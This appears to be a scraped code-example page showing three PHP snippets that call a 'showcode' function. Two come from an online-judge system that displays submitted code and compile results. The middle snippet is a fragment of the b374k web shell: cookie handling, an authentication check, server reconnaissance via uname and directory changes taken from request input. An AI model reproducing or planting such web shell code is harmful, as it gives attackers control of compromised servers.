Ejemplo n.º 1
0
function printcode($cid, $uid, $pid)
{
    $fln = "../upload/" . $cid . "/" . $uid . "/" . $pid;
    if (is_file($fln . ".cpp")) {
        $fln = $fln . ".cpp";
    } else {
        if (is_file($fln . ".c")) {
            $fln = $fln . ".c";
        } else {
            if (is_file($fln . ".pas")) {
                $fln = $fln . ".pas";
            } else {
                echo "No code";
                return;
            }
        }
    }
    showcode($fln);
}
Ejemplo n.º 2
0
        } elseif (isset($_COOKIE['s_home'])) {
            $s_self = $_COOKIE['s_home'];
        }
        setcookie("b374k_included", "1", time() + $s_login_time);
        setcookie("s_self", $s_self, time() + $s_login_time);
    } else {
        $s_self = "?";
        setcookie("b374k_included", "0", time() - $s_login_time);
        setcookie("s_self", $s_self, time() + $s_login_time);
    }
}
$s_cwd = "";
if (isset($_GP['|'])) {
    showcode($s_css);
} elseif (isset($_GP['!'])) {
    showcode($s_js);
}
if ($s_auth) {
    // server software
    $s_software = getenv("SERVER_SOFTWARE");
    // uname -a
    $s_system = php_uname();
    // check os
    $s_win = strtolower(substr($s_system, 0, 3)) == "win" ? true : false;
    // check for posix
    $s_posix = function_exists("posix_getpwuid") ? true : false;
    // change working directory
    if (isset($_GP['cd'])) {
        $s_dd = $_GP['cd'];
        if (@is_dir($s_dd)) {
            $s_cwd = cp($s_dd);
Ejemplo n.º 3
0
 $gtmp = fscanf($ipf, "%d");
 list($cval) = $gtmp;
 $gtmp = fscanf($ipf, "%d");
 if ($cval != 0) {
     echo "<tr><td>";
     if ($cval == 2) {
         echo "No such file";
     } else {
         if ($cval == 4) {
             echo "Dangerous word";
         } else {
             echo "Compile error!<br/>Compiler info:<br/>";
             $cfln = "../upload/" . $cid . "/" . $uid . "/ajtest/compile" . $pid . ".log";
             echo "<pre style='lcode'>";
             if (is_file($cfln)) {
                 showcode($cfln);
             } else {
                 echo "Compile log file not found!";
             }
             echo "</pre>";
         }
     }
 } else {
     for ($i = 0; $i < $tot_p; ++$i) {
         echo "<tr><td>Test case #" . ($i + 1) . "</td>";
         $gres = fgets($ipf);
         $gtmp = fscanf($ipf, "%d%d");
         list($sco, $rtime) = $gtmp;
         echo "<td>" . $gres . "<br/>";
         echo "Time = " . $rtime . " ms<br/>";
         if ($gres[0] == 'W') {